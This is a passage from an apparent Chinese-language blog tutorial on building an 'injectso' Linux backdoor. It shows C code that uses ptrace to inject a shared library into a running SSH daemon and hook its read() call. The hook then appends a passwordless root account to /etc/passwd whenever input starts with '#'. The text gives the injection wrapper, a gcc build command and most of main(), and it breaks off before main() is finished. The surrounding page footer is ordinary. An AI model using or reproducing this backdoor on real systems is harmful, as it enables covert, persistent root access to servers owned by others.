linux后门程序利用,利用Linux的共享库编写出injectso后门程序

下面让我们来写一个简单后门程序。第1步,我们可以调用上面给出的ptrace_attach()完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用ptrace_call()来调用_dl_open,但是要注意_dl_open定义为’internal_function’,这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它:

void call_dl_open(int pid, unsigned long addr, char *libname)

{

void *pRLibName;

struct user_regs_struct regs;

/*

先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈

*/

pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);

/* 设置参数到寄存器 */

ptrace_readreg(pid, &regs);

regs.eax = (unsigned long) pRLibName;

regs.ecx = 0x0;

regs.edx = RTLD_LAZY;

ptrace_writereg(pid, &regs);

/* 调用_dl_open */

ptrace_call(pid, addr);

puts("call _dl_open ok");

}

到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd追加新行”a::0:0:root:/root:/bin/sh\n”,这样我们就有了一个具有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so

root@Dis9Team:~# gcc -shared -o so.so -fPIC so.c -nostdlib

好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:

root@Dis9Team:~# cat injso.c

#include

#include

#include

#include "p_elf.h"

#include "p_dbg.h"

int main(int argc, char *argv[])

{

int pid;

struct link_map *map;

char sym_name[256];

unsigned long sym_addr;

unsigned long new_addr,old_addr,rel_addr;

/* 从命令行取得目标进程PID

pid = atoi(argv[1]);

/* 关联到目标进程 */

ptrace_attach(pid);

/* 得到指向link_map链表的指针 */

map = get_linkmap(pid);                    /* get_linkmap */

/* 发现_dl_open,并调用它 */

sym_addr = find_symbol(pid, map, "_dl_open");        /* call _dl_open */

printf("found _dl_open at addr %p\n", sym_addr);

call_dl_open(pid, sym_addr, "/home/grip2/me/so.so");    /* 注意装载的库地址 */

/* 找到我们的新函数newread的地址 */

strcpy(sym_name, "newread");                /* intercept */

sym_addr = find_symbol(pid, map, sym_name);

printf("%s addr\t %p\n", sym_name, sym_addr);

/* 找到read的RELOCATION地址 */

strcpy(sym_name, "read");

rel_addr = find_sym_in_rel(pid, sym_name);

printf("%s rel addr\t %p\n", sym_name, rel_addr);

/* 找到用于保存read地址的指针 */

strcpy(sym_name, "oldread");

old_addr = find_symbol(pid, map, sym_name);

printf("%s addr\t %p\n", sym_name, old_addr);

/* 函数重定向 */

puts("intercept...");                    /* intercept */

ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));

ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值